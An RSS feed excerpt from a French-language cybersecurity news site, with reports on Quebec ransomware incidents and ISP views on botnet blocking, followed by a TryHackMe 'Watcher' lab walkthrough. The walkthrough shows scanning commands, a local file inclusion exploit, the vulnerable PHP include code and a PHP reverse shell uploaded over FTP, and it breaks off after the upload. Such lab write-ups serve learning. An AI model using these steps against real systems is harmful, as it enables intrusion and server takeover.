<p>« Pour l’instant, au Québec, il n’y a pas d’obligation légale de déclarer les incidents de sécurité, ni à la Commission ni aux personnes concernées », nous répond la CAI. Les déclarations sont faites sur une base volontaire.</p>

<p>« Cependant, nous recommandons fortement aux entreprises de faire cette démarche. » Selon la Commission, « les personnes concernées devraient être avisées sans tarder si la perte ou le vol de renseignements personnels présente un risque de préjudice pour elles. Cela peut leur permettre de prendre les mesures pertinentes pour protéger leurs renseignements personnels. »</p>

<p>La CAI nous explique qu’en vertu de l’article 27 de la Loi sur la protection des renseignements personnels dans le secteur privé, toute personne à le « droit d’accéder aux renseignements personnels qui la concernent et qui sont détenus par une entreprise. » Une demande écrite doit être présentée.</p>

<p>L’article 40 du Code civil du Québec permet également à une personne de demander la destruction d’un renseignement personnel « périmé ou non justifié par l’objet du dossier ».</p>

<p>Dans ces deux cas, il possible de communiquer avec la CAI afin d’en savoir plus sur les modalités et les restrictions détaillées dans la loi.</p>

<h3 id="comment-se-protéger-dun-vol-didentité">Comment se protéger d’un vol d’identité</h3>

<p>Selon Patrick Mathieu, cofondateur de Hackfest Communication — un événement annuel et une communauté de cybersécurité — dans les cas comme celui-ci, les gens peuvent se protéger :</p>

<ul>
  <li>en évitant de mettre de l’information personnelle sur les réseaux sociaux,</li>
  <li>en utilisant un gestionnaire de mot de passe et l’authentification à deux facteurs,</li>
  <li>en s’abonnant à un service d’alerte comme ceux d’Equifax ou de TransUnion,</li>
  <li>en vérifiant régulièrement leurs comptes de banque et relevés de carte de crédit pour détecter les transactions douteuses.</li>
</ul>

<p>crédit photo: <a href="https://flickr.com/photos/duchamp/">spDuchamp</a> - <a href="https://creativecommons.org/licenses/by/2.0/">licence CC BY</a></p>
]]></content:encoded>
    </item>
    <item>
      <title>La compagnie de transport Boutin victime d&apos;une cyberattaque</title>
      <link>https://media.hackfest.ca/blog/Groupe-Boutin-Cyberattaque</link>
      <guid isPermaLink="true">https://media.hackfest.ca/blog/Groupe-Boutin-Cyberattaque</guid>
      <pubDate>Fri, 30 Apr 2021 10:00:00 +0000</pubDate>
      <dc:creator>Sam Harper</dc:creator>
      <dc:language>fr-CA</dc:language>
      <category>Rançongiciels</category>
      <category>transport</category>
      <description>La compagnie de transport Boutin Express a été la cible d’un rançongiciel. L’entreprise a fermé l’ensemble de ses systèmes informatiques, mais réussit à poursuivre ses activités.</description>
      <enclosure url="https://media.hackfest.ca/images/posts/boutin.webp" type="image/webp" length="0" />
      <content:encoded><![CDATA[<p><img src="https://media.hackfest.ca/images/posts/boutin.webp" alt="crtc" /></p>

<p>La compagnie de transport Boutin a été la cible d’un rançongiciel. L’entreprise a fermé l’ensemble de ses systèmes informatiques, mais réussit à poursuivre ses activités.</p>

<p>La brèche de sécurité a été annoncée sur le site d’un groupe de rançongiciel. Nous avons contacté l’entreprise par téléphone le 28 avril et le président, M. Bernard Boutin, nous a confirmé qu’ils étaient bel et bien la cible d’une cyberattaque. Il nous a demandé de lui acheminer nos questions par écrit.</p>

<p>Dans un courriel, l’entrepreneur nous explique qu’un message de rançon a été découvert et qu’ils ont ensuite fait appel à un spécialiste en sécurité informatique.</p>

<p>Les portails client et employés, accessibles à partir de leur site Web, ne répondent pas. Afin de ne prendre aucun risque inutile, « nous avons fermé l’accès à l’ensemble de nos systèmes et postes de travail ». Le personnel doit rebâtir un certain nombre de serveurs et « repartir à 0 certaines applications. Le travail aux opérations se fait en partie manuellement. »</p>

<p>M. Boutin affirme que leurs opérations se poursuivent. « Nous avons été capables avec notre équipe de faire en sorte que le service ne soit pas trop perturbé. »</p>

<p>La situation fait actuellement l’objet d’une enquête. L’entreprise ne peut dire avec certitude si des données personnelles de client ou d’employés ont été dérobées. Mais, « dans le doute, les personnes concernées ont commencé à en être informées ».</p>

<p>Boutin est une entreprise fondée en 1945 dont le siège social se situe à Plessisville, au Centre-du-Québec. Selon son site Web, elle compte plus de 390 employés et possède une flotte qui dépasse 630 unités.</p>

<p>crédit photo couverture: <a href="https://www.flickr.com/photos/65329753@N04/">martin</a> - <a href="https://creativecommons.org/licenses/by-nc-nd/2.0/">licence CC BY-NC-ND</a></p>
]]></content:encoded>
    </item>
    <item>
      <title>La triple extorsion</title>
      <link>https://media.hackfest.ca/blog/la-triple-extorsion</link>
      <guid isPermaLink="true">https://media.hackfest.ca/blog/la-triple-extorsion</guid>
      <pubDate>Tue, 27 Apr 2021 10:00:00 +0000</pubDate>
      <dc:creator>Sam Harper</dc:creator>
      <dc:language>fr-CA</dc:language>
      <category>Rançongiciels</category>
      <category>Avaddon</category>
      <category>DDoS</category>
      <category>extorsion</category>
      <description>La menace de diffuser les documents volés n’étant pas suffisante à leurs yeux, certains groupes de rançongiciel ont ajouté le déni de service à leur arsenal. Une compagnie de Québec vient de l’apprendre. Le groupe Avaddon a revendiqué récemment une attaque contre cette compagnie spécialisée dans le développement informatique.</description>
      <enclosure url="https://media.hackfest.ca/images/posts/lock.webp" type="image/webp" length="0" />
      <content:encoded><![CDATA[<p><img src="https://media.hackfest.ca/images/posts/lock.webp" alt="crtc" /></p>

<p>La menace de diffuser les documents volés n’étant pas suffisante à leurs yeux, certains groupes de rançongiciel ont ajouté le déni de service à leur arsenal. Une compagnie de Québec vient de l’apprendre. Le groupe Avaddon a revendiqué récemment une attaque contre cette compagnie spécialisée dans le développement informatique.</p>

<p>Il est maintenant coutume pour les pirates d’appliquer ce qu’on appelle la « double extorsion ». Cette méthode implique que les malfaiteurs commencent par exfiltrer les données auxquelles ils ont réussi à avoir accès. Ensuite, ils vont chiffrer les systèmes de leur victime. Les fichiers sont rendus inutilisables à moins de payer pour obtenir la clé nécessaire pour les déchiffrer.</p>

<p>Les entreprises ayant des sauvegardes récentes et fiables sont en mesure de se relever plus rapidement d’une attaque de ce genre. Pour accroître la pression sur les victimes et les forcer à payer, le groupe Maze a été le premier à menacer de diffuser publiquement les données volées. Peu de temps après, plusieurs groupes leur emboîtaient le pas.</p>

<p>Le site de nouvelles bleepingcomputer.com avait rapporté en octobre 2020 que les groupes SunCrypt et RagnarLocker avaient commencé à ajouter le déni de service distribué (DDoS — Distributed Denial of Service) à leur arsenal.</p>

<p>Le DDoS est une forme d’attaque ou le serveur de la victime est bombardé d’une quantité importante de requêtes. On dit qu’il est distribué, car les requêtes proviennent d’une multitude de sources différentes. N’étant pas capable de soutenir un tel volume de données bidon, le serveur devient inaccessible.</p>

<p>Le groupe Avaddon vient de s’ajouter à la liste des groupes utilisant cette méthode afin de forcer leur victimes à négocier. Sur leur site, on peut voir une liste des entreprises qui sont affectées par un déni de service.</p>

<p>Le matin du 27 avril, le site web de la compagnie de Québec était effectivement inaccessible. Contactée, la compagnie préfère ne pas se prononcer sur les événements. L’entrepreneur, qui nous a demandé de garder l’anonymat, nous a dit qu’il « n’y a pas un guide clair sur le rôle de la sécurité informatique dans l’évolution de la création d’une PME » et que bien que l’investissement en sécurité puisse sembler être une dépense importante, surtout au début, « une évaluation des risques doit mener à la conclusion que de pareilles dépenses sont moins importantes que les dommages potentiels. »</p>

<p>Il reste à voir si d’autres groupes vont maintenant se mettre à pratiquer cette « triple extorsion ».</p>

<p>crédit photo couverture: <a href="https://www.flickr.com/photos/dotbenstar/">Ben Elwood</a> - <a href="https://creativecommons.org/licenses/by-nc/2.0/">licence CC BY-NC</a></p>
]]></content:encoded>
    </item>
    <item>
      <title>Incident de sécurité à la Municipalité Régionale de Durham</title>
      <link>https://media.hackfest.ca/blog/Durham-breach</link>
      <guid isPermaLink="true">https://media.hackfest.ca/blog/Durham-breach</guid>
      <pubDate>Fri, 09 Apr 2021 10:00:00 +0000</pubDate>
      <dc:creator>Sam Harper</dc:creator>
      <dc:language>fr-CA</dc:language>
      <category>Rançongiciels</category>
      <category>municipalités</category>
      <category>tiers</category>
      <description>La municipalité régionale de Durham, Ontario, a été la cible d’un groupe de cybercriminels. Les systèmes ont été sécurisés, mais l’étendue de la fuite de données est encore inconnue. Le service des communications a confirmé qu’ils avaient récemment été avisés d’un « incident de sécurité relié à un logiciel fourni par un tiers ».</description>
      <enclosure url="https://media.hackfest.ca/images/posts/ransomware.webp" type="image/webp" length="0" />
      <content:encoded><![CDATA[<p><img src="https://media.hackfest.ca/images/posts/ransomware.webp" alt="crtc" /></p>

<p>La municipalité régionale de Durham, Ontario, a été la cible d’un groupe de cybercriminels. Les systèmes ont été sécurisés, mais l’étendue de la fuite de données est encore inconnue.</p>

<p>Nous avons contacté l’administration de la municipalité après qu’un groupe de rançongiciel a annoncé cette attaque sur son site hébergé sur le « dark web ». Le service des communications nous a répondu qu’ils avaient récemment été avisés d’un « incident de sécurité relié à un logiciel fourni par un tiers ». Cet incident n’aurait pas affecté leurs autres services TI.</p>

<p>La municipalité régionale dit avoir avisé les autorités compétentes. Leurs experts étudient la situation afin de déterminer quelles données sont impliquées et l’impact de l’incident. La municipalité affirme que la vulnérabilité a été corrigée et que leurs systèmes ont été sécurisés.</p>

<p>Le groupe a publié des captures d’écran de documents confidentiels. Le porte-parole de Durham ne nous a pas confirmé si ceux-ci étaient véridiques. On y trouve des tableaux de coordonnées avec noms et numéros de téléphone et des rapports de transport ambulancier.</p>

<p>Le groupe qui revendique cette attaque a été impliqué dans plusieurs fuites de données impliquant des universités aux États-Unis. Il a été très actif récemment dans l’exploitation d’une vulnérabilité de Accellion FTA (File Transfer Appliance). Cette technologie vieille de 20 ans sert à partager des documents confidentiels de façon sécuritaire. Une première vulnérabilité a été découverte à la fin décembre 2020. Trois autres vulnérabilités ont été découvertes en 2021. Ces vulnérabilités ont été corrigées, mais plusieurs organisations n’ont pas mis leurs systèmes à jour, laissant le champ libre aux malfaiteurs. La municipalité régionale de Durham n’a pas répondu à notre question sur l’utilisation ou non d’Accellion FTA.</p>

<p>crédit photo: <a href="https://www.flickr.com/photos/136770128@N07/">Richard Patterson</a> - <a href="https://creativecommons.org/licenses/by/2.0/">licence CC</a></p>
]]></content:encoded>
    </item>
    <item>
      <title>Une entreprise de Dorval ciblée par le groupe Conti</title>
      <link>https://media.hackfest.ca/blog/breach-faxinating</link>
      <guid isPermaLink="true">https://media.hackfest.ca/blog/breach-faxinating</guid>
      <pubDate>Sun, 28 Mar 2021 10:00:00 +0000</pubDate>
      <dc:creator>Sam Harper</dc:creator>
      <dc:language>fr-CA</dc:language>
      <category>Rançongiciels</category>
      <category>Conti</category>
      <category>hameçonnage</category>
      <description>Faxinating Solutions, une compagnie québécoise spécialisée en échange de données informatisées (EDI) a été la cible d’un groupe de cybercriminels. Le 16 mars dernier, le groupe Conti a publié des documents confidentiels, qu’il allègue leur avoir volés, sur son site hébergé sur le « dark web ».</description>
      <enclosure url="https://media.hackfest.ca/images/posts/faxinating-conti.webp" type="image/webp" length="0" />
      <content:encoded><![CDATA[<p><img src="https://media.hackfest.ca/images/posts/faxinating-conti.webp" alt="crtc" /></p>

<p>Faxinating Solutions, une compagnie québécoise spécialisée en échange de données informatisées (EDI) a été la cible d’un groupe de cybercriminels. Le 16 mars dernier, le groupe Conti a publié des documents confidentiels, qu’il allègue leur avoir volés, sur son site hébergé sur le « dark web ».</p>

<p>Rejoint au téléphone, le propriétaire et PDG Steve Hatajlo, nous a dit « qu’il ne peut nier qu’un incident a eu lieu ». L’entreprise, et les autorités concernées, « surveillent la situation de près ». Selon un reportage publié sur <a href="https://www.freightwaves.com/news/ransomware-attack-on-edi-provider-highlights-cyber-risks-in-supply-chain">le site freightwaves</a>, la brèche a été découverte le 3 mars et la porte d’entrée était un courriel d’hameçonnage.</p>

<p>Faxinating Solutions est une entreprise qui offre des outils informatiques afin de permettre aux entreprises de transférer des données d’un format à un autre. L’EDI permet donc de partager électroniquement des informations autrefois disponibles sur papier seulement, comme des bons de commande ou des factures. Elle compte parmi ses clients de grands noms du domaine du transport et de la vente au détail, comme Métro, Walmart, Colabor et d’autres.</p>

<p>Sur le site web de la compagnie, on peut lire que l’entreprise offre un portail web pour les fournisseurs du Ministère de la Santé et des Services Sociaux (MSSS). Ce service ne serait pas offert directement, mais par l’entremise d’un partenaire. Une porte-parole du MSSS a répondu à notre demande d’information que « ce fournisseur n’a pas de contrats ni de relations d’affaires avec le ministère de la Santé et des Services sociaux et aucune attaque informatique n’a été répertoriée. » Suite à une demande d’éclaircissement, le Service des affaires publique du MSSS nous a répondu que « certains établissements du réseau de santé et des services sociaux ont des fournisseurs qui travaillent en sous-traitance avec cette compagnie. La compagnie ne détient aucune information appartenant au MSSS et à ses établissements. Toutefois, nous continuons de surveiller la situation. » M. Hatajlo nous a assuré que Faxinating Solutions ne traite aucune donnée médicale ou information de nature confidentielle appartenant à des patients.</p>

<p>Les attaques au rançongiciel prennent de l’ampleur et cet incident nous rappelle que les entreprises qui offrent des solutions informatiques sont des cibles de choix pour les groupes criminels.</p>

<p><em>Cet article a été modifié pour y inclure la précision reçue du MSSS après sa parution initiale.</em></p>
]]></content:encoded>
    </item>
    <item>
      <title>Blocage des botnets: pas de consensus chez les FAI</title>
      <link>https://media.hackfest.ca/blog/pas-de-consensus-fai</link>
      <guid isPermaLink="true">https://media.hackfest.ca/blog/pas-de-consensus-fai</guid>
      <pubDate>Wed, 24 Mar 2021 10:00:00 +0000</pubDate>
      <dc:creator>Sam Harper</dc:creator>
      <dc:language>fr-CA</dc:language>
      <category>Politique &amp; réglementation</category>
      <category>CRTC</category>
      <category>botnets</category>
      <category>FAI</category>
      <description>La période pour déposer ses observations sur le projet de blocage des botnets par le CRTC est terminée. À la lecture des avis déposés, on voit que les fournisseurs d’accès à Internet (FAI) ne voient pas tous la situation du même œil. Certains vont même jusqu’à mettre en doute la légitimité du CRTC à mettre en place un tel programme.</description>
      <enclosure url="https://media.hackfest.ca/images/posts/crtc-avis.webp" type="image/webp" length="0" />
      <content:encoded><![CDATA[<p><img src="https://media.hackfest.ca/images/posts/crtc-avis.webp" alt="crtc" /></p>

<p>La période pour déposer ses observations sur le projet de blocage des botnets par le CRTC (Conseil de la radiodiffusion et des télécommunications canadiennes) est terminée. À la lecture <a href="https://services.crtc.gc.ca/pub/ListeInterventionList/Default-Defaut.aspx?en=2021-9&amp;dt=i&amp;lang=f&amp;S=C&amp;PA=a&amp;PT=nc&amp;PST=a">des interventions</a>, on voit que les fournisseurs d’accès à Internet (FAI) ne voient pas tous la situation du même œil. Certains vont même jusqu’à mettre en doute la légitimité du CRTC à mettre en place un tel programme.</p>

<h3 id="blocage-obligatoire-transparence-non-requise">Blocage obligatoire, transparence non requise</h3>

<p>Dans un document signé par M. Dennis Béland, Vice-Président, Affaires réglementaires, chez Vidéotron, on peut lire qu’« il est possible pour le Conseil d’encadrer le blocage à l’échelle des réseaux en se basant sur un [<em>sic</em>] série de règles simples et uniformes. »</p>

<p>Vidéotron préconise une approche de blocage de domaine. Avec cette approche, une entité qui reste à définir devra maintenir une liste de noms de domaines malicieux à bloquer. Selon M. Béland, cette méthode est à préconiser « car elle est déjà déployée dans notre réseau, ce qui permettra le déploiement du cadre à moindre coût et une mise en œuvre rapide. Cette technique concilie efficacité et facilité de déploiement et n’entraînera pas de coûts supplémentaires pour les abonnés des services Internet. »</p>

<p>La filiale de Québecor Média propose un blocage universel, sans option de retrait. Il n’est pas souhaitable pour elle qu’un tel système soit optionnel. Vidéotron considère que n’étant pas optionnel, « des mesures de transparence ne sont pas requises. »</p>

<h3 id="fai-contre-le-blocage">FAI contre le blocage</h3>

<p>Le principal compétiteur de Vidéotron au Québec prend une position aux antipodes. Dans son document, Bell Canada conteste la légitimité du CRTC de mettre en place un tel programme. Elle considère qu’un cadre centralisé imposé par le Conseil est « en opposition avec l’approche coopérative et collaborative adoptée par le gouvernement »([^1]:Traduit de l’anglais par l’auteur) en matière de cybersécurité. Bell fait référence aux parties prenantes identifiées dans la Stratégie Nationale de Cybersécurité, publiée en 2010, et semble se faire un malin plaisir de souligner que le CRTC n’y figure pas.</p>

<p>Bell ne voit pas d’un bon œil la supervision d’un programme de blocage par une entité indépendante. « Le délai entre la détection d’un botnet malicieux et l’application de solutions de mitigations peut parfois être très court ». La nécessité d’aviser et d’obtenir l’approbation d’une entité externe nuirait à sa capacité de répondre efficacement aux menaces.</p>

<p>Bell se prononce contre la possibilité d’un système de retrait du programme de blocage, mais pour des raisons très différentes de Vidéotron. Actuellement, le blocage d’un domaine considéré dangereux se fait sans connaître l’identité de la personne qui le demande. Instaurer un choix pour le client ou la cliente implique donc la collecte de données personnelles supplémentaires que ce qui est requis actuellement.</p>

<p>Telus, dans son rapport au CRTC considère que le blocage des botnets ne fait rien pour régler le problème à la racine. Il s’agit d’une solution réactive qui est appliquée une fois que des appareils ont été infectés. La compagnie considère que le gouvernement devrait mettre plus d’effort à établir et appliquer des normes de sécurité pour les manufacturiers d’appareils connectés à Internet. « Adopter une approche proactive aura un impact plus significatif sur la réduction des attaques de botnets que la proposition d’un blocage à l’échelle du réseau ».</p>

<p>Cogeco se positionne clairement en faveur de la neutralité du réseau. La compagnie basée à Montréal s’inquiète que l’imposition gouvernementale de règles de blocage supplémentaires pourrait éroder la neutralité du réseau et a le potentiel de diminuer la protection de la vie privée.</p>

<h3 id="du-côté-des-indépendants">Du côté des indépendants</h3>

<p>Xplornet fait part de ses réserves sur le projet du CRTC. Pour la compagnie spécialisée en couverture des régions rurales, le blocage ne sera pas efficace, car il ne fait que s’attaquer au problème une fois que le mal est fait. Elle préconise donc une approche de prévention pour protéger la population. Elle s’inquiète qu’un tel cadre donnerait un faux sentiment de sécurité.</p>

<p>Teksaavy, l’un des principaux FAI indépendants au pays, s’oppose également au projet. La compagnie, qui est présente au Québec depuis 2020, considère que le blocage à l’échelle du réseau contrevient aux principes de base d’un Internet libre et ouvert. Elle considère qu’un tel cadre portera atteinte à la neutralité du réseau sans réellement augmenter la sécurité de l’Internet.</p>

<p>Plusieurs autres intervenants ont également déposé des avis. Le CRTC a maintenant la tâche d’analyser ces interventions. La tâche ne sera pas facile car le blocage ne fait nullement l’unanimité chez les fournisseurs d’accès à Internet qui seront responsables d’appliquer cette mesure si le Conseil décide de l’adopter.</p>

<p>crédit photo: <a href="https://www.flickr.com/photos/twicepix/">Martin Abegglen</a> - <a href="https://creativecommons.org/licenses/by/2.0/">licence CC</a></p>

]]></content:encoded>
    </item>
    <item>
      <title>TryHackMe Walkthrough - Watcher</title>
      <link>https://media.hackfest.ca/blog/solution-tryhackme-watcher</link>
      <guid isPermaLink="true">https://media.hackfest.ca/blog/solution-tryhackme-watcher</guid>
      <pubDate>Mon, 15 Mar 2021 10:00:00 +0000</pubDate>
      <dc:creator>Eric Hogue</dc:creator>
      <dc:language>fr-CA</dc:language>
      <category>Walkthroughs &amp; CTF</category>
      <category>TryHackMe</category>
      <category>LFI</category>
      <category>privesc</category>
      <description>Un walkthrough de la salle Watcher sur TryHackMe. Il s’agit d’une salle de difficulté moyenne. Vous devez trouver 7 flags en partant d’un site web, en obtenant un shell sur le serveur et en élevant nos privilèges jusqu’à obtenir root.</description>
      <enclosure url="https://media.hackfest.ca/images/posts/2021/03/THMWalkthroughWatcher/LFI.webp" type="image/webp" length="0" />
      <content:encoded><![CDATA[<p>Voici mon walkthrough de la <a href="https://tryhackme.com/room/watcher">salle Watcher sur TryHackMe</a>. Il y a sept flags à trouver, sans aucune description supplémentaire.</p>

<ul>
  <li>Salle : Watcher</li>
  <li>Difficulté : Moyenne</li>
  <li>URL : https://tryhackme.com/room/watcher</li>
</ul>

<h2 id="scan">Scan</h2>

<p>La première chose à faire lorsqu’on attaque une box est de la scanner. Je le fais habituellement en trois étapes :</p>
<ol>
  <li>Un scan agressif sur les 10 000 premiers ports (<code class="language-plaintext highlighter-rouge">nmap -A -oN nmap.txt target</code>)</li>
  <li>Un scan de vulnérabilités sur les 10 000 premiers ports (<code class="language-plaintext highlighter-rouge">nmap -script vuln -oN nmapVuln.txt target</code>)</li>
  <li>Un scan SYN sur tous les ports (<code class="language-plaintext highlighter-rouge">sudo nmap -sS -p- -oN nmapFull.txt target</code>)</li>
</ol>

<p>Voici les résultats du premier scan :</p>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c"># Nmap 7.91 scan initiated Sun Mar 14 09:11:24 2021 as: nmap -A -oN nmap.txt target</span>
Nmap scan report <span class="k">for </span>target <span class="o">(</span>10.10.208.34<span class="o">)</span>
Host is up <span class="o">(</span>0.23s latency<span class="o">)</span><span class="nb">.</span>
Not shown: 997 closed ports
PORT   STATE SERVICE VERSION
21/tcp open  ftp     vsftpd 3.0.3
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 <span class="o">(</span>Ubuntu Linux<span class="p">;</span> protocol 2.0<span class="o">)</span>
| ssh-hostkey: 
|   2048 e1:80:ec:1f:26:9e:32:eb:27:3f:26:ac:d2:37:ba:96 <span class="o">(</span>RSA<span class="o">)</span>
|   256 36:ff:70:11:05:8e:d4:50:7a:29:91:58:75:ac:2e:76 <span class="o">(</span>ECDSA<span class="o">)</span>
|_  256 48:d2:3e:45:da:0c:f0:f6:65:4e:f9:78:97:37:aa:8a <span class="o">(</span>ED25519<span class="o">)</span>
80/tcp open  http    Apache httpd 2.4.29 <span class="o">((</span>Ubuntu<span class="o">))</span>
|_http-generator: Jekyll v4.1.1
|_http-server-header: Apache/2.4.29 <span class="o">(</span>Ubuntu<span class="o">)</span>
|_http-title: Corkplacemats
Service Info: OSs: Unix, Linux<span class="p">;</span> CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ <span class="nb">.</span>
<span class="c"># Nmap done at Sun Mar 14 09:11:51 2021 -- 1 IP address (1 host up) scanned in 27.64 seconds</span>
</code></pre></div></div>

<p>Les scans de vulnérabilités et le scan complet n’ont rien apporté de plus d’intéressant.</p>

<p>Le premier port ouvert est pour le FTP. La connexion anonyme ne semble pas être autorisée, mais essayons quand même.</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>ftp target
Connected to target.
220 <span class="o">(</span>vsFTPd 3.0.3<span class="o">)</span>
Name <span class="o">(</span>target:ehogue<span class="o">)</span>: anonymous
331 Please specify the password.
Password:
530 Login incorrect.
Login failed.
</code></pre></div></div>

<p>Pas de chance ici, alors regardons le site web sur le port 80.</p>

<h2 id="site-web">Site web</h2>

<p>En naviguant vers http://target/, on obtient un site sur les napperons en liège. Un coup d’œil rapide à la requête dans Burp ne montre rien d’intéressant.</p>

<p>Cependant, il y a un fichier robots.txt qui contient deux entrées.</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Allow: /flag_1.txt
Allow: /secret_file_do_not_read.txt
</code></pre></div></div>

<p>Naviguer vers http://target/flag_1.txt nous donne notre premier flag. http://target/secret_file_do_not_read.txt est interdit.</p>

<p>Maintenant, je commence à scanner le site à la recherche de pages cachées. J’utilise GoBuster pour scanner les sites web. J’utilise habituellement deux listes différentes pour le faire. Je devrais probablement construire une seule liste avec uniquement les valeurs uniques issues de ces deux-là.</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>gobuster <span class="nb">dir</span> <span class="nt">-e</span> <span class="nt">-u</span> http://target/ <span class="nt">-t30</span> <span class="nt">-w</span> /usr/share/dirb/wordlists/common.txt  | <span class="nb">tee </span>gobuster.txt
<span class="o">===============================================================</span>
Gobuster v3.1.0
by OJ Reeves <span class="o">(</span>@TheColonial<span class="o">)</span> &amp; Christian Mehlmauer <span class="o">(</span>@firefart<span class="o">)</span>
<span class="o">===============================================================</span>
<span class="o">[</span>+] Url:                     http://target/
<span class="o">[</span>+] Method:                  GET
<span class="o">[</span>+] Threads:                 30
<span class="o">[</span>+] Wordlist:                /usr/share/dirb/wordlists/common.txt
<span class="o">[</span>+] Negative Status codes:   404
<span class="o">[</span>+] User Agent:              gobuster/3.1.0
<span class="o">[</span>+] Expanded:                <span class="nb">true</span>
<span class="o">[</span>+] Timeout:                 10s
<span class="o">===============================================================</span>
2021/03/14 13:09:21 Starting gobuster <span class="k">in </span>directory enumeration mode
<span class="o">===============================================================</span>
http://target/.hta                 <span class="o">(</span>Status: 403<span class="o">)</span> <span class="o">[</span>Size: 271]
http://target/.htaccess            <span class="o">(</span>Status: 403<span class="o">)</span> <span class="o">[</span>Size: 271]
http://target/.htpasswd            <span class="o">(</span>Status: 403<span class="o">)</span> <span class="o">[</span>Size: 271]
http://target/css                  <span class="o">(</span>Status: 301<span class="o">)</span> <span class="o">[</span>Size: 298] <span class="o">[</span><span class="nt">--</span><span class="o">&gt;</span> http://target/css/]
http://target/images               <span class="o">(</span>Status: 301<span class="o">)</span> <span class="o">[</span>Size: 301] <span class="o">[</span><span class="nt">--</span><span class="o">&gt;</span> http://target/images/]
http://target/index.php            <span class="o">(</span>Status: 200<span class="o">)</span> <span class="o">[</span>Size: 4826]
http://target/robots.txt           <span class="o">(</span>Status: 200<span class="o">)</span> <span class="o">[</span>Size: 69]
http://target/server-status        <span class="o">(</span>Status: 403<span class="o">)</span> <span class="o">[</span>Size: 271]
<span class="o">===============================================================</span>
2021/03/14 13:10:00 Finished
<span class="o">===============================================================</span>
</code></pre></div></div>
<p>Rien de très intéressant ici.</p>

<p>Pendant que GoBuster s’exécutait, j’ai commencé à explorer le site. Lorsque j’ai cliqué sur l’un des articles, il pointait vers cette url : http://target/post.php?post=striped.php . Cela ressemblait à quelque chose qui pourrait être utilisé pour une attaque de type <a href="https://www.acunetix.com/blog/articles/local-file-inclusion-lfi/">Local File Inclusion (LFI)</a>.</p>

<p>Je l’ai donc utilisée pour tenter de lire le fichier secret auquel je ne pouvais pas accéder plus tôt. J’ai chargé http://target/post.php?post=secret_file_do_not_read.txt et ça a fonctionné. Le fichier contient le message suivant :</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Hi Mat,
The credentials for the FTP server are below. I've set the files to be saved to /home/ftpuser/ftp/files.
Will

 ----------
ftpuser:PASSWORD
</code></pre></div></div>
<p>Nous avons maintenant les identifiants du serveur FTP. Cela laisse aussi entendre que nous pourrons écrire des fichiers sur le serveur FTP, et où ils seront sauvegardés.</p>

<p>D’abord, assurons-nous que le code est exécuté lorsqu’il est inclus. J’ai tenté d’inclure index.php pour voir s’il allait afficher le contenu, ou l’exécuter.</p>

<p>Chargez http://target/post.php?post=index.php, vous verrez la page d’index chargée à l’intérieur de la page de l’article.</p>

<p><img src="https://media.hackfest.ca/images/posts/2021/03/THMWalkthroughWatcher/LFI.webp" alt="LFI" title="LFI" /></p>

<p>Ensuite, j’ai tenté d’obtenir le code source de post.php pour voir s’il y avait du filtrage, ou si je pouvais l’utiliser pour charger n’importe quel fichier.</p>

<p>Charger http://target/post.php?post=php://filter/convert.base64-encode/resource=post.php m’a donné le code source PHP encodé en base64. Je l’ai décodé, et j’ai vu qu’il n’y a aucun filtrage. On peut charger n’importe quel fichier du serveur.</p>

<div class="language-php highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nt">&lt;div</span> <span class="na">class=</span><span class="s">"col-8"</span><span class="nt">&gt;</span>
  <span class="cp">&lt;?php</span> <span class="k">include</span> <span class="nv">$_GET</span><span class="p">[</span><span class="s2">"post"</span><span class="p">];</span> <span class="cp">?&gt;</span>
<span class="nt">&lt;/div&gt;</span>
</code></pre></div></div>

<h2 id="obtenir-un-shell">Obtenir un shell</h2>
<p>Je savais maintenant que je pouvais utiliser le serveur FTP pour téléverser un fichier, puis l’exécuter sur le serveur grâce à la vulnérabilité LFI.</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>ftp target
Connected to target.
220 <span class="o">(</span>vsFTPd 3.0.3<span class="o">)</span>
Name <span class="o">(</span>target:ehogue<span class="o">)</span>: ftpuser
331 Please specify the password.
Password:
230 Login successful.
Remote system <span class="nb">type </span>is UNIX.
Using binary mode to transfer files.
ftp&gt; <span class="nb">ls</span> <span class="nt">-la</span>
200 PORT <span class="nb">command </span>successful. Consider using PASV.
150 Here comes the directory listing.
dr-xr-xr-x    3 65534    65534        4096 Dec 03 01:58 <span class="nb">.</span>
dr-xr-xr-x    3 65534    65534        4096 Dec 03 01:58 ..
drwxr-xr-x    2 1001     1001         4096 Dec 03 03:30 files
<span class="nt">-rw-r--r--</span>    1 0        0              21 Dec 03 01:58 flag_2.txt
226 Directory send OK.
ftp&gt; get flag_2.txt
<span class="nb">local</span>: flag_2.txt remote: flag_2.txt
200 PORT <span class="nb">command </span>successful. Consider using PASV.
150 Opening BINARY mode data connection <span class="k">for </span>flag_2.txt <span class="o">(</span>21 bytes<span class="o">)</span><span class="nb">.</span>
226 Transfer complete.
21 bytes received <span class="k">in </span>0.00 secs <span class="o">(</span>84.0484 kB/s<span class="o">)</span>
</code></pre></div></div>

<p>Nous avons trouvé le deuxième flag sur le serveur FTP. On voit aussi que le dossier files est accessible en écriture, nous pouvons donc y pousser notre reverse shell.</p>

<p>J’utilise le reverse shell PHP qui est disponible dans Kali à <code class="language-plaintext highlighter-rouge">/usr/share/webshells/php/php-reverse-shell.php</code>.</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>ftp&gt; <span class="nb">cd </span>files 
250 Directory successfully changed.
ftp&gt; put php-reverse-shell.php
<span class="nb">local</span>: php-reverse-shell.php remote: php-reverse-shell.php
200 PORT <span class="nb">command </span>successful. Consider using PASV.
150 Ok to send data.
226 Transfer complete.
5492 bytes sent <span class="k">in </span>0.00 secs <span class="o">(</span>5.8002 MB/s<span class="o">)</span>
</code></pre></div></div>

<p>Selon le message trouvé plus tôt, ce fichier devrait maintenant se trouver à <code class="language-plaintext highlighter-rouge">/home/ftpuser/ftp/filesphp-reverse-shell.php</code>.</p>

